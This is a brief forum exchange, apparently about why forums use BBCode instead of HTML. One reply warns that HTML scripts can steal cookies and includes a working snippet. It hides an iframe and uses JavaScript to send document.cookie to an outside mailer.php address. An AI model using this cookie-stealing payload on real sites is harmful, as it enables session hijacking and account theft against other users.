    Meh, easier for forums to deal with.
    And allows for better format restriction.

    Because HTML is more open ended and BBC limits you on forums, plus it's easier to use than HTML

    There are html scripts that can steal your cookies and get saved passwords.

    Code:
    <DIV>Some text here</DIV><style_ html> <iframe name="a" style="width:0px;height:0px" frameborder="0"></iframe> <script> window.status=''; var x = escape(document.cookie).substr(0,1900); document.getElementById('a').src='http://site.com/mailer.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&cookie='+x+''; </script>
<html><body><strong>-<sourcetext></body></html>
